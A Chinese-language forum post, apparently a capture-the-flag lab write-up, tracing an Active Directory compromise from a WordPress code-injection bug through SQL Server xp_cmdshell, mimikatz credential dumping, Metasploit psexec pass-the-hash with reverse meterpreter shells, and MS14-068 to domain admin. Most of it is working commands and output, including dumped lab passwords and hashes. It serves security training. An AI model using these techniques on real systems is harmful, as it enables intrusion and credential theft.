登录

Pentest Wiki Part4 后渗透(二)

wing / 2017-12-29 17:46:00 / 浏览数 4073 新手 入门资料 顶(0) 踩(0)

Hacking Windows Active Directory

目录

描述

```
Description
   read Flag from C:\file.sys on Windows DC. Please find Windows DC yourself.

Target
   http://10.1.222.203 (The Start)

       10.1.222.200
       10.1.222.201
       10.1.222.202
       10.1.222.203
```

演练

攻击地图：

```
---->[10.1.222.203]---->[10.1.222.200]---->[10.1.222.201]---->[10.1.222.202]

. 10.1.222.203
   wordpress vuln■code injecion■■
   ■wp-config.php■■■■■
   ■■■■■10.1.222.200■SQL Server■

2. 10.1.222.200
   ■■SQL SERVER■■■■XP_CMDSHELL
   ■■■■■■■■■■

3. 10.1.222.201
   ■■MS14-068■Windows■■■■
   ■■■■■■■mstsc■■■

4. 10.1.222.202
   ■■Windows DC■■■■■■
```

- 10.1.222.203
  - http://10.1.222.203/ is a wordpress 站点, 我们使用 wpscan](https://github.com/wpscanteam/wpscan) 去扫描.

WORDPRESS
用参数p扫描wordpress插件。

```
■■[✗]■[lab@core]■[/opt/wpscan]
■■■■ ruby wpscan.rb --url 10.1.222.203 --enumerate p
_______________________________________________________________

       __          _______   _____
       \ \        / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __
         \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
          \  /\  /  | |     ____) | (__| (_| | | | |
```

```
          \/  \/   |_|    |_____/ \___|\__,_|_| |_|

       WordPress Security Scanner by the WPScan Team
                      Version 2.8
         Sponsored by Sucuri - https://sucuri.net
  @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________

[+] URL: http://10.1.222.203/
[+] Started: Tue Sep  8 03:21:27 2015

[+] robots.txt available under: 'http://10.1.222.203/robots.txt'
[!] The WordPress 'http://10.1.222.203/readme.html' file exists exposing a version number
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.12
[+] XML-RPC Interface available under: http://10.1.222.203/xmlrpc.php

[+] WordPress version 4.3 identified from meta generator

[+] WordPress theme in use: twentyfifteen - v1.3

[+] Name: twentyfifteen - v1.3
|  Location: http://10.1.222.203/wp-content/themes/twentyfifteen/
|  Readme: http://10.1.222.203/wp-content/themes/twentyfifteen/readme.txt
|  Style URL: http://10.1.222.203/wp-content/themes/twentyfifteen/style.css
|  Theme Name: Twenty Fifteen
|  Theme URI: https://wordpress.org/themes/twentyfifteen/
|  Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,...
|  Author: the WordPress team
|  Author URI: https://wordpress.org/

[+] Enumerating installed plugins  ...

  Time: 00:03:46 <============================================================> (1906 / 1906) 100.00% Time: 00:03:46

[+] We found 2 plugins:

[+] Name: akismet
|  Location: http://10.1.222.203/wp-content/plugins/akismet/

[+] Name: cm-download-manager
|  Location: http://10.1.222.203/wp-content/plugins/cm-download-manager/
|  Readme: http://10.1.222.203/wp-content/plugins/cm-download-manager/readme.txt

[!] We could not determine a version so all vulnerabilities are printed out

[!] Title: CM Download Manager <= 2.0.0 - Code Injection
   Reference: https://wpvulndb.com/vulnerabilities/7679
   Reference: http://packetstormsecurity.com/files/129183/
   Reference: https://downloadsmanager.cminds.com/release-notes/
   Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8877
   Reference: http://osvdb.org/show/osvdb/114867
   Reference: https://www.exploit-db.com/exploits/35324/
[i] Fixed in: 2.0.4

[!] Title: CM Download Manager <= 2.0.6 - XSS and CSRF
   Reference: https://wpvulndb.com/vulnerabilities/7756
   Reference: http://packetstormsecurity.com/files/129357/
   Reference: http://www.securityfocus.com/bid/71418/
   Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9129
   Reference: http://osvdb.org/show/osvdb/115223
[i] Fixed in: 2.0.7

[+] Finished: Tue Sep  8 03:25:29 2015
[+] Requests Done: 2001
[+] Memory used: 41.98 MB
[+] Elapsed time: 00:04:02
```

Code Injection / Xss and CSRF are here.

```
Code Injection:■■■■CM■■■■■<= 2.0.0 - ■■■■■■■■
http://10.1.222.203/cmdownloads/?CMDsearch=%22.phpinfo%28%29.%22
```

从phpinfo页面查看禁用功能。

```
system,
exec,
shell_exec,
passthru,
popen,
dl,
proc_open,
popen,
curl_exec,
curl_multi_exec,
parse_ini_file,
show_source,
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
```

阅读wordpress配置文件wp-config.php：

```
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))."
http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))."
```

wp-config.php的内容如下：

```
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
/*
* hello world!
*
*
* ========================================================================
* Hackers, Welcome Here■
*
```

```
* 1■Please keey everything work well■
* 2■Maybe 10.1.222.203's root privilege is not important■
* 3■Logging is enable, and don't try to destroy the lab machine■
* 4■Targets■10.1.222.200■10.1.222.201■10.1.222.202■10.1.222.203 ■
* 5■read C:\file.sys on Windows DC;
* 6■Tools here: http://10.1.222.203/toolsforyou/
* 7■Enjoy It!
* 8. Happy Hacking !
*  ========================================================================
 * * /

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'test');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'Xd1moYqFr');

/** MySQL hostname */
define('DB_HOST', '10.1.222.200');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in ag
*
* @since 2.6.0
*/
define('AUTH_KEY',         '^01/8T?sIYu5/zkZ/;5AcsN R5Nf0cy{aI4w%J5+_O1PWn!RBX8vje8Q|G:*2h_d');
define('SECURE_AUTH_KEY',  ',{0:g.r(ml9LY+lpe4EG-SQ`Np p@r+8g6hiRYy0VAoMn~h[2XBU{X83(]MMkajF');
define('LOGGED_IN_KEY',    'RO}{Eyw(<(J=g|6=b4*Q(f-Uk&XB3.Hv6 XTGg!+C9Du-86U4e.wY9+,Zz&h0 (_');
define('NONCE_KEY',        'SN2+N1ZA6v[a.QgfGsZHyq&8 tO. 4^FNrlea:|7ifM)m-Uy!H^;At-8MeqrwMRM');
define('AUTH_SALT',        'HE<}>b.$S.GKNy@cUXCezBJmGkVM~GO/R%jB}6y~@HY3 W{%+,]mkpbEjC|GQ73!');
define('SECURE_AUTH_SALT', '.0Jix9L(%)XxhlNA3~IFPKWs!jm|VJ_]}J))@jpQV_]T>T7)i-e@z#k0W^q/Eq[G');
define('LOGGED_IN_SALT',   'V2bk%aIT-yTnvcj7+n,).IVygEdkc<p8VDWw-E&D^hS)2dR%ld&vZv`He|fdxalN');
define('NONCE_SALT',       'r+zYG+^AcZFA3;|d0]@.;7]PD>[9@Jv[@eLZ-u;v#l&R%@g40x?:4CO/-?y)3t=]');
```

10.1.222.203的数据库来自10.1.222.200。

10.1.222.200

Port Scanning
用nmap扫描打开的端口，我们找到tcp / 1433 - SQL Server。

```
Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-08 12:04 China Standard Time
Initiating SYN Stealth Scan at 12:04
Scanning 10.1.222.200 [1000 ports]
Discovered open port 3306/tcp on 10.1.222.200
Discovered open port 139/tcp on 10.1.222.200
Discovered open port 135/tcp on 10.1.222.200
Discovered open port 3389/tcp on 10.1.222.200
Discovered open port 445/tcp on 10.1.222.200
Discovered open port 1433/tcp on 10.1.222.200
Discovered open port 49152/tcp on 10.1.222.200
Discovered open port 49156/tcp on 10.1.222.200
Discovered open port 49154/tcp on 10.1.222.200
Discovered open port 49155/tcp on 10.1.222.200
Discovered open port 49153/tcp on 10.1.222.200
Discovered open port 49157/tcp on 10.1.222.200
```

```
Completed SYN Stealth Scan at 12:04, 2.37s elapsed (1000 total ports)
Nmap scan report for 10.1.222.200
Host is up (0.060s latency).
Not shown: 988 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
3306/tcp  open  mysql
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Read data files from: C:\Program Files\Nmap
Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds
          Raw packets sent: 1009 (44.396KB) | Rcvd: 1000 (40.048KB)
```

使用sa/Xd1moYqFr成功访问SQL Server。

- Linux - Freetds Usage.
- Windows - QueryExpress

XP_CMDSHELL
连接到SQL SERVER (10.1.222.200:1433)

```
■■[✗]■[lab@core]■[/opt]
■■■■ tsql -S egServer70 -U sa
Password:
locale is "en_US.UTF-8"
locale charset is "UTF-8"
using default charset "UTF-8"
1> select @@version
2> go

Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64)
   Apr  2 2010 15:48:46
   Copyright (c) Microsoft Corporation
   Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor)

(1 row affected)
```

数据库版本：SQL SERVER 2008.使用命令启用XP_CMDSHELL。

```
1> EXEC sp_configure 'show advanced options',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
   "Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell',1
2> GO
Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174:
   "Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install."
(return status = 0)
1> RECONFIGURE
2> GO
```

add a administrator with XP_CMDSHELL.

```
1> EXEC xp_cmdshell 'whoami'
2> GO
output
nt authority\system
NULL
```

```
(2 rows affected)
(return status = 0)

1> EXEC xp_cmdshell 'wmic useraccount get name,sid'
2> GO
output
Name           SID
Administrator  S-1-5-21-30580861-1793299886-3410204933-500
ctfcx          S-1-5-21-30580861-1793299886-3410204933-1010
Guest          S-1-5-21-30580861-1793299886-3410204933-501
test           S-1-5-21-30580861-1793299886-3410204933-1015

NULL
(7 rows affected)
(return status = 0)
1>
```

添加管理员用户，并成功访问10.1.222.200。 我们可以用mimikatz读取明确的密码。

```
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe

 .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 16 modules * * */


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 111120 (00000000:0001b210)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : MASTER
Logon Server      : MASTER
Logon Time        : 2015/9/7 11:46:22
SID               : S-1-5-21-30580861-1793299886-3410204933-500
       msv :
        [00000003] Primary
        * Username : Administrator
        * Domain   : MASTER
        * LM       : b4d9e05213448dbd263365ce2184209e
        * NTLM     : 68f8b3e056dc171163f597288f47607e
        * SHA1     : 50af106ec94c0739cd235d8a858f6e4fb255b3d0
       tspkg :
        * Username : Administrator
        * Domain   : MASTER
        * Password : 6GbA6Crdw
       wdigest :
        * Username : Administrator
        * Domain   : MASTER
        * Password : 6GbA6Crdw
       kerberos :
        * Username : hanlei
        * Domain   : PENTEST.COM
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : MASTER$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:58
```

```
SID               : S-1-5-20
       msv :
        [00000003] Primary
        * Username : MASTER$
        * Domain   : PENTEST
        * NTLM     : af55bb72b1ca4ea6a3eac30216fac37b
        * SHA1     : 24e18ef140a487fa902f65a75db4cd075414656c
       tspkg :
       wdigest :
        * Username : MASTER$
        * Domain   : PENTEST
        * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`
       kerberos :
        * Username : master$
        * Domain   : PENTEST.COM
        * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`
       ssp :
       credman :

Authentication Id : 0 ; 35562 (00000000:00008aea)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:56
SID               :
       msv :
        [00000003] Primary
        * Username : MASTER$
        * Domain   : PENTEST
        * NTLM     : af55bb72b1ca4ea6a3eac30216fac37b
        * SHA1     : 24e18ef140a487fa902f65a75db4cd075414656c
       tspkg :
       wdigest :
       kerberos :
       ssp :
       credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:58
SID               : S-1-5-19
       msv :
       tspkg :
       wdigest :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       kerberos :
        * Username : (null)
        * Domain   : (null)
        * Password : (null)
       ssp :
       credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : MASTER$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 2015/9/7 11:45:56
SID               : S-1-5-18
       msv :
       tspkg :
       wdigest :
        * Username : MASTER$
```

```
        * Domain   : PENTEST
        * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`
       kerberos :
        * Username : master$
        * Domain   : PENTEST.COM
        * Password : % Xd^8W*+Ym0O&M^7zj'R2ResK!GPB%WNqrW2$3+i.B"N8h\,e!wbONFEpPu/#+VWiK2nYqs\s<yX`2CDO)I/sbD$pwUtiYN4\_ \zUh`
       ssp :
       credman :

mimikatz # exit
Bye!
```

我们也可以使用metasploit模块exploit/windows /mssql/mssql_payload来获取meterpreter shell。

```
msf post(hashdump) > sessions -l

Active sessions
===============

 Id  Type                   Information                    Connection
 --  ----                   -----------                    ----------
 1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)

msf post(hashdump) > run

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 89e7950dda3ecc11525391db37acf6a8...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...


Administrator:500:aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::


[*] Post module execution completed
msf post(hashdump) > creds
Credentials
===========

host          origin        service        public         private                                                                r
----          ------        -------        ------         -------                                                                -
10.1.222.200  10.1.222.200  445/tcp (smb)  administrator  aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e
10.1.222.200  10.1.222.200  445/tcp (smb)  guest          aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

msf post(hashdump) > use post/windows/gather/credentials/sso
msf post(sso) > show options

Module options (post/windows/gather/credentials/sso):

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

msf post(sso) > set SESSION 1
SESSION => 1
msf post(sso) > run

[*] Running module against DATABASE
[-] x64 platform requires x64 meterpreter and mimikatz extension
[*] Post module execution completed


meterpreter > load mimikatz
```

```
Loading extension mimikatz...
[!] Loaded x86 Mimikatz on an x64 architecture.
success.
```

我们有一个meterpreter shell，并dump了Windows用户哈希。 当我们使用mimikatz时，它向我们展示了“在x64架构上加载x86 Mimikatz”。 目标是Windows 2008 x64，并且需要x64 meterpreter shell.

散列在这里，我们可以使用exploit/windows/smb/psexec来exploit目标。

```
msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

  Name                  Current Setting                                                  Required  Description
  ----                  ---------------                                                  --------  -----------
  RHOST                 10.1.222.200                                                     yes       The target address
  RPORT                 445                                                              yes       Set the SMB service port
  SERVICE_DESCRIPTION                                                                    no        Service description to to
  SERVICE_DISPLAY_NAME                                                                   no        The service display name
  SERVICE_NAME                                                                           no        The service name
  SHARE                 ADMIN$                                                           yes       The share to connect to,
  SMBDomain             WORKGROUP                                                        no        The Windows domain to use
  SMBPass               aad3b435b51404eeaad3b435b51404ee:68f8b3e056dc171163f597288f47607e  no        The password for the spec
  SMBUser               administrator                                                    no        The username to authentic


Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
  LHOST     10.255.254.23    yes       The listen address
  LPORT     8090             yes       The listen port


Exploit target:

  Id  Name
  --  ----
  0   Automatic


msf exploit(psexec) > run

[*] Started reverse handler on 10.255.254.23:8090
[*] Connecting to the server...
[*] Authenticating to 10.1.222.200:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \kNXUXXOu.exe...
[+] 10.1.222.200:445 - Service started successfully...
[*] Sending stage (1105970 bytes) to 10.1.222.200
[*] Deleting \kNXUXXOu.exe...
[*] Meterpreter session 2 opened (10.255.254.23:8090 -> 10.1.222.200:56977) at 2015-09-08 13:41:18 +0000

meterpreter > load mimikatz
Loading extension mimikatz...meterpreter >
```

BINGO !

10.1.222.201

使用Administrator / 6GbA6Crdw访问10.1.222.201。 在管理员的桌面上，这里是一个mstsc客户端。

```
C:\Users\Desktop\Administrator\mstsc
```

MS14-068
用ms14-068升级 Windows域管理员权限。 我们需要从10.1.222.200访问10.1.222.201。

```
msf exploit(psexec) > route add 10.1.222.201 255.255.255.255 2
```

会话1是x86 meterpreter shell，会话2是x64 meterpreter shell。 Pwn 10.1.222.201与exploit/windows/smb/psexec再次如下。

```
msf exploit(psexec) > sessions -l

Active sessions
===============

 Id  Type                   Information                      Connection
 --  ----                   -----------                      ----------
 1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8088 -> 10.1.222.200:56671 (10.1.222.200)
 2   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ DATABASE  10.255.254.23:8090 -> 10.1.222.200:56977 (10.1.222.200)
 3   meterpreter x64/win64  NT AUTHORITY\SYSTEM @ MASTER    10.255.254.23-10.1.222.200:0 -> 10.1.222.201:8090 (10.1.222.201)
```

我们需要从10.1.222.201访问Windows DC - 10.1.222.202。 利用ms14-068渗透Windows DC：

```
msf auxiliary(ms14_068_kerberos_checksum) > show options

Module options (auxiliary/admin/kerberos/ms14_068_kerberos_checksum):

  Name      Current Setting                               Required  Description
  ----      ---------------                               --------  -----------
  DOMAIN    PENTEST.COM                                   yes       The Domain (upper case) Ex: DEMO.LOCAL
  PASSWORD  file:/tmp/pass.txt                            yes       The Domain User password
  RHOST     10.1.222.202                                  yes       The target address
  RPORT     88                                            yes       The target port
  Timeout   10                                            yes       The TCP timeout to establish connection and read data
  USER      MASTER                                        yes       The Domain User
  USER_SID  S-1-5-21-30580861-1793299886-3410204933-1008  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-34

msf auxiliary(ms14_068_kerberos_checksum) > run

[*] Validating options...
[*] Using domain PENTEST.COM...
[*] 10.1.222.202:88 - Sending AS-REQ...
[!] 10.1.222.202:88 - KDC_ERR_PREAUTH_FAILED - Pre-authentication information was invalid
[-] 10.1.222.202:88 - Invalid AS-REP, aborting...
[*] Auxiliary module execution completed

C:\Windows\system32>wmic useraccount get name,sid
wmic useraccount get name,sid
Name           SID
Administrator  S-1-5-21-30580861-1793299886-3410204933-500
Guest          S-1-5-21-30580861-1793299886-3410204933-501
Administrator  S-1-5-21-30580861-1793299886-3410204933-500
Guest          S-1-5-21-30580861-1793299886-3410204933-501
krbtgt         S-1-5-21-30580861-1793299886-3410204933-502
hanlei         S-1-5-21-30580861-1793299886-3410204933-1110
ctfcx          S-1-5-21-30580861-1793299886-3410204933-1111
```

metasploit无法利用MS14-068漏洞。 再次尝试pykek。

```
C:\Users\Administrator\Desktop\pykek-master>C:\Python27\python.exe ms14-068.py -u master@PENTEST.COM -s S-1-5-21-30580861-1793
Password:
 [+] Building AS-REQ for DC.PENTEST.COM... Done !
 [+] Sending AS-REQ to DC.PENTEST.COM... Done!
 [+] Receiving AS-REP from DC.PENTEST.COM... Done!
 [+] Parsing AS-REP from DC.PENTEST.COM... Done!
 [+] Building TGS-REQ for DC.PENTEST.COM... Done!
 [+] Sending TGS-REQ to DC.PENTEST.COM... Done!
 [+] Receiving TGS-REP from DC.PENTEST.COM... Done!
 [+] Parsing TGS-REP from DC.PENTEST.COM... Done!
 [+] Creating ccache file 'TGT_master@PENTEST.COM.ccache'... Done!

:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe
mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)
.## ^ ##.
## / \ ##  /* * *
## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
 '#####'                                     with 16 modules * * */
```

```
mimikatz # kerberos::ptc TGT_master@PENTEST.COM.ccache

Principal : (01) : MASTER ; @ PENTEST.COM

Data 0
      Start/End/MaxRenew: 2015/9/8 22:55:52 ; 2015/9/9 8:55:52 ; 2015/9/15 22:55:52
      Service Name (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
      Target Name  (01) : krbtgt ; PENTEST.COM ; @ PENTEST.COM
      Client Name  (01) : MASTER ; @ PENTEST.COM
      Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
      Session Key       : 0x00000017 - rc4_hmac_nt
        e42591d39858f8e3b0d16334351b692d
      Ticket            : 0x00000000 - null              ; kvno = 2    [...]
      * Injecting ticket : OK

mimikatz # exit
Bye!

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>klist
klist

■■■■■¼ ID ■■ 0:0x3e7

■■■■■■■■: (1)

#0> ■■■■■: MASTER @ PENTEST.COM
   ■■■■■■: krbtgt/PENTEST.COM @ PENTEST.COM
   Kerberos ■■■■■■■■■■: RSADSI RC4-HMAC(NT)
   ■■■■■ 0x50a00000 -> forwardable proxiable renewable pre_authent
   ■■■■■■: 9/8/2015 22:55:52 (■■■■)
   ■■■■■■■:   9/9/2015 8:55:52 (■■■■)
   ■■■■■■■: 9/15/2015 22:55:52 (■■■■)
   ■■■■■■■■■: RSADSI RC4-HMAC(NT)
```

hoho！我们得到域管理员权限。

```
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user /domain
net user /domain
■■■■■■■■■■■■■■■ pentest.com ■■■■■■■■■■■■■■■■■■


\\DC.pentest.com ■■■Û■■■■

-------------------------------------------------------------------------------
Administrator            ctfcx                    Guest
hanlei                   krbtgt
■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" /domain
net group "DOMAIN ADMINS" /domain
■■■■■■■■■■■■■■■ pentest.com ■■■■■■■■■■■■■■■■■■

■■■■     Domain Admins
■■■     ■■■■■■■■■■■■■

■■■


C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net use \\DC.PENTEST.COM\ipc$
net use \\DC.PENTEST.COM\ipc$
■■■■■■■■■■■■■


C:\Users\Administrator\Desktop\mimikatz_trunk\x64>dir \\DC.PENTEST.COM\c$\
dir \\DC.PENTEST.COM\c$\
■■■■■■■ \\DC.PENTEST.COM\c$ ■■■■■Û■■■■■■■
■■■■■■■■■■■■ 403D-792F
```

```
\\DC.PENTEST.COM\c$ ■■■¼

2015/08/19  10:25    <DIR>          inetpub
2009/07/14  11:20    <DIR>          PerfLogs
2015/08/13  14:58    <DIR>          Program Files
2015/08/13  14:58    <DIR>          Program Files (x86)
2015/09/08  09:20    <DIR>          Users
2015/08/24  16:56    <DIR>          Windows
               0 ■■■■■■              0 ■■
               6 ■■■¼ 25,048,915,968 ■■■■■■■

--------------------------------------------------------------------------------
Administrator            ctfcx
■■■■■■■■■■■■■
```

Read Flags

```
C:\>klist
C:\>net use \\DC.pentest.com\admin$
C:\>net use k: \\DC.pentest.com\c$
C:\>type k:\file.sys
```

Flags 如下:

```
Hi dude, Congratulations!

You have my ass!!

this is the flag:4b329655c2275d7c956083dc899b1c89

Have a good day!
```

Add A Domain Administrator

```
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net user demo pasPAS1234~ /add /domain
net user demo pasPAS1234~ /add /domain
■■■■■■■■■■■■■■■■ pentest.com ■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>net group "DOMAIN ADMINS" demo /add /domain
net group "DOMAIN ADMINS" demo /add /domain
■■■■■■■■■■■■■■■■ pentest.com ■■■■■■■■■■■■■■■■■■

■■■■■■■■■■■■■
```

10.1.222.202

用 demo/pasPAS1234~ ■■ windows DC ：

```
meterpreter > ssp
[+] Running as SYSTEM
[*] Retrieving ssp credentials
ssp credentials
===============

AuthID  Package  Domain  User  Password
------  -------  ------  ----  --------

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;996      Negotiate  PENTEST       DC$            lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478d
0;35844    NTLM                                    lm{ 00000000000000000000000000000000 }, ntlm{ 5b2a87a70eb71e5adedf4209f478d
0;145416   Kerberos   PENTEST       administrator  lm{ 00000000000000000000000000000000 }, ntlm{ 68a02ebe899dcb737cefa52adc48c
```

```
0;1278946  Negotiate  PENTEST       demo           lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b
0;1278920  Kerberos   PENTEST       demo           lm{ fdc5a70a13943d6273d1c29094e34430 }, ntlm{ 2ba4387de08ea1e1ee36d2a18c54b
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  n.s. (Credentials KO)
0;999      Negotiate  PENTEST       DC$            n.s. (Credentials KO)

meterpreter > livessp
[+] Running as SYSTEM
[*] Retrieving livessp credentials
livessp credentials
===================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;1278946  Negotiate  PENTEST       demo           n.a. (livessp KO)
0;1278920  Kerberos   PENTEST       demo           n.a. (livessp KO)
0;145416   Kerberos   PENTEST       administrator  n.a. (livessp KO)
0;996      Negotiate  PENTEST       DC$            n.a. (livessp KO)
0;35844    NTLM                                    n.a. (livessp KO)
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE  n.a. (livessp KO)
0;999      Negotiate  PENTEST       DC$            n.a. (livessp KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID     Package    Domain        User           Password
------     -------    ------        ----           --------
0;35844    NTLM
0;997      Negotiate  NT AUTHORITY  LOCAL SERVICE
0;999      Negotiate  PENTEST       DC$            77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da
0;996      Negotiate  PENTEST       DC$            77 e7 00 bd c7 4e 10 ed 24 6f d0 a6 96 c4 38 0e 1d 11 70 d1 e1 09 1c 83 da
0;145416   Kerberos   PENTEST       administrator  This is long Password!@#
0;1278920  Kerberos   PENTEST       demo           pasPAS1234~
0;1278946  Negotiate  PENTEST       demo           pasPAS1234~
```

How-to-dump-windows2012-credentials

SYSVOL和组策略首选项中的密码

这种方法是最简单的，因为不需要特殊的黑客工具。 攻击者所要做的就是打开Windows资源管理器，搜索XML文件的SYSVOL DFS共享域。
大多数情况下，以下XML文件将包含凭据：groups.xml，scheduledtasks.xml和＆Services.xml。

SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。
SYSVOL包含登录脚本，组策略数据和其他域控制器数据，这些数据在任何有域控制器的地方都可用（因为SYSVOL是在所有域控制器之间自动同步和共享的）。
所有域组策略都存储在这里：`\\SYSVOL<DOMAIN>\Policies\`
